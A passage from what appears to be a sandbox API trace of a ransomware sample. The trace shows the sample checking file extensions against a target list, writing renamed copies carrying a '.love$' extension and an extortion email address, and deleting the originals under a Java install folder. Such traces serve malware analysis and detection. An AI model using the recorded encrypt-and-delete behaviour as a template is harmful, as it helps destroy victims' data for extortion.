dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.145] SetEndOfFile (hFile=0x45c) returned 1 [0238.151] CloseHandle (hObject=0x45c) returned 1 [0238.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0238.151] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0238.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.152] lstrlenW (lpString=".doc") returned 4 [0238.152] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0238.152] lstrlenW (lpString=".docx") returned 5 [0238.152] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0238.152] lstrlenW (lpString=".pdf") returned 4 [0238.152] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0238.152] lstrlenW (lpString=".xls") returned 4 [0238.152] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0238.152] lstrlenW (lpString=".xlsx") returned 5 [0238.152] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0238.152] lstrlenW (lpString=".ppt") returned 4 [0238.153] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString=".zip") returned 4 [0238.153] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0238.153] lstrlenW (lpString=".rar") returned 4 [0238.153] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0238.153] lstrlenW (lpString=".bz2") returned 4 [0238.153] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0238.153] lstrlenW (lpString=".7z") returned 3 [0238.153] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString=".dbf") returned 4 [0238.153] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString=".1cd") returned 4 [0238.153] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString=".jpg") returned 4 [0238.153] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.153] lstrlenW (lpString=".doc") returned 4 [0238.153] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0238.153] lstrlenW (lpString=".docx") returned 5 [0238.153] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0238.153] lstrlenW (lpString=".pdf") returned 4 [0238.153] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0238.153] lstrlenW (lpString=".xls") returned 4 [0238.154] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0238.154] lstrlenW (lpString=".xlsx") returned 5 [0238.154] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0238.154] lstrlenW (lpString=".ppt") returned 4 [0238.154] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0238.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.154] lstrlenW (lpString=".zip") returned 4 [0238.154] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0238.154] lstrlenW (lpString=".rar") returned 4 [0238.154] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0238.154] lstrlenW (lpString=".bz2") returned 4 [0238.154] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0238.154] lstrlenW (lpString=".7z") returned 3 [0238.154] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0238.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.154] lstrlenW (lpString=".dbf") returned 4 [0238.154] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0238.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.154] lstrlenW (lpString=".1cd") returned 4 [0238.154] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0238.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0238.154] lstrlenW (lpString=".jpg") returned 4 [0238.154] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0238.154] lstrcmpiW (lpString1=".jfc", lpString2=".love$") returned -1 [0238.155] lstrlenW (lpString="profile.jfc") returned 11 [0238.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.155] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=20065) returned 1 [0238.155] CloseHandle (hObject=0x45c) returned 1 [0238.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0238.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.156] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.156] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0238.157] GetLastError () returned 0x0 [0238.157] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4e61, lpOverlapped=0x0) returned 1 [0238.160] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4e70, lpOverlapped=0x0) returned 1 [0238.162] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0238.162] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0238.162] SetEndOfFile (hFile=0x4f0) returned 1 [0238.162] CloseHandle (hObject=0x4f0) returned 1 [0238.162] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.162] SetEndOfFile (hFile=0x45c) returned 1 [0238.168] CloseHandle (hObject=0x45c) returned 1 [0238.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0238.168] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0238.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.169] lstrlenW (lpString=".doc") returned 4 [0238.169] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0238.169] lstrlenW (lpString=".docx") returned 5 [0238.169] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0238.169] lstrlenW (lpString=".pdf") returned 4 [0238.169] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString=".xls") returned 4 [0238.170] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString=".xlsx") returned 5 [0238.170] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0238.170] lstrlenW (lpString=".ppt") returned 4 [0238.170] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString=".zip") returned 4 [0238.170] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString=".rar") returned 4 [0238.170] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString=".bz2") returned 4 [0238.170] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0238.170] lstrlenW (lpString=".7z") returned 3 [0238.170] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString=".dbf") returned 4 [0238.170] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString=".1cd") returned 4 [0238.170] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString=".jpg") returned 4 [0238.170] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.170] lstrlenW (lpString=".doc") returned 4 [0238.171] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0238.171] lstrlenW (lpString=".docx") returned 5 [0238.171] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0238.171] lstrlenW (lpString=".pdf") returned 4 [0238.171] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0238.171] lstrlenW (lpString=".xls") returned 4 [0238.171] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0238.171] lstrlenW (lpString=".xlsx") returned 5 [0238.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1 [0238.171] lstrlenW (lpString=".ppt") returned 4 [0238.171] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0238.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.171] lstrlenW (lpString=".zip") returned 4 [0238.171] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0238.171] lstrlenW (lpString=".rar") returned 4 [0238.171] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0238.171] lstrlenW (lpString=".bz2") returned 4 [0238.171] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0238.171] lstrlenW (lpString=".7z") returned 3 [0238.171] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.171] lstrlenW (lpString=".dbf") returned 4 [0238.171] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.171] lstrlenW (lpString=".1cd") returned 4 [0238.171] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0238.171] lstrlenW (lpString=".jpg") returned 4 [0238.171] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0238.172] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0238.172] lstrlenW (lpString="jfr.jar") returned 7 [0238.172] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.173] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=560581) returned 1 [0238.173] CloseHandle (hObject=0x45c) returned 1 [0238.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0238.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.173] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.173] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0238.174] GetLastError () returned 0x0 [0238.174] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0238.510] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0238.526] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0238.526] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe2, lpOverlapped=0x0) returned 1 [0238.526] SetEndOfFile (hFile=0x4f0) returned 1 [0238.527] CloseHandle (hObject=0x4f0) returned 1 [0238.527] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.527] SetEndOfFile (hFile=0x45c) returned 1 [0240.081] CloseHandle (hObject=0x45c) returned 1 [0240.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.081] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0240.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.082] lstrlenW (lpString=".doc") returned 4 [0240.082] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.082] lstrlenW (lpString=".docx") returned 5 [0240.082] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0240.082] lstrlenW (lpString=".pdf") returned 4 [0240.082] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.083] lstrlenW (lpString=".xls") returned 4 [0240.083] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.083] lstrlenW (lpString=".xlsx") returned 5 [0240.083] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0240.083] lstrlenW (lpString=".ppt") returned 4 [0240.083] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.083] lstrlenW (lpString=".zip") returned 4 [0240.083] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.083] lstrlenW (lpString=".rar") returned 4 [0240.083] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.083] lstrlenW (lpString=".bz2") returned 4 [0240.083] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.083] lstrlenW (lpString=".7z") returned 3 [0240.083] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.083] lstrlenW (lpString=".dbf") returned 4 [0240.083] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.083] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.088] lstrlenW (lpString=".1cd") returned 4 [0240.088] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.092] lstrlenW (lpString=".jpg") returned 4 [0240.092] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.093] lstrlenW (lpString=".doc") returned 4 [0240.093] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.097] lstrlenW (lpString=".docx") returned 5 [0240.097] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0240.097] lstrlenW (lpString=".pdf") returned 4 [0240.097] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.097] lstrlenW (lpString=".xls") returned 4 [0240.097] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.097] lstrlenW (lpString=".xlsx") returned 5 [0240.097] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0240.097] lstrlenW (lpString=".ppt") returned 4 [0240.098] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.098] lstrlenW (lpString=".zip") returned 4 [0240.098] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.098] lstrlenW (lpString=".rar") returned 4 [0240.098] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.098] lstrlenW (lpString=".bz2") returned 4 [0240.098] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.098] lstrlenW (lpString=".7z") returned 3 [0240.098] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.098] lstrlenW (lpString=".dbf") returned 4 [0240.098] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.098] lstrlenW (lpString=".1cd") returned 4 [0240.098] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0240.098] lstrlenW (lpString=".jpg") returned 4 [0240.098] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.098] lstrcmpiW (lpString1=".template", lpString2=".love$") returned 1 [0240.098] lstrlenW (lpString="snmp.acl.template") returned 17 [0240.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.100] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3376) returned 1 [0240.100] CloseHandle (hObject=0x45c) returned 1 [0240.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0240.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0240.101] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.101] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0240.102] GetLastError () returned 0x0 [0240.102] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xd30, lpOverlapped=0x0) returned 1 [0240.103] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xd40, lpOverlapped=0x0) returned 1 [0240.105] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0240.105] WriteFile (in: hFile=0x488, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xf6, lpOverlapped=0x0) returned 1 [0240.105] SetEndOfFile (hFile=0x488) returned 1 [0240.106] CloseHandle (hObject=0x488) returned 1 [0240.106] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0240.106] SetEndOfFile (hFile=0x45c) returned 1 [0240.110] CloseHandle (hObject=0x45c) returned 1 [0240.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.110] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0240.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.111] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0240.111] lstrlenW (lpString=".doc") returned 4 [0240.111] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0240.111] lstrlenW (lpString=".docx") returned 5 [0240.111] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0240.111] lstrlenW (lpString=".pdf") returned 4 [0240.111] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0240.111] lstrlenW (lpString=".xls") returned 4 [0240.111] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0240.111] lstrlenW (lpString=".xlsx") returned 5 [0240.112] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0240.112] lstrlenW (lpString=".ppt") returned 4 [0240.112] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0240.112] lstrlenW 